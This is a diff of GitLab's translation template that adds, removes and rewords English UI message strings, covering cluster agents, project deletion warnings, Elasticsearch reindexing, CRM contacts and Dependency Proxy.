msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
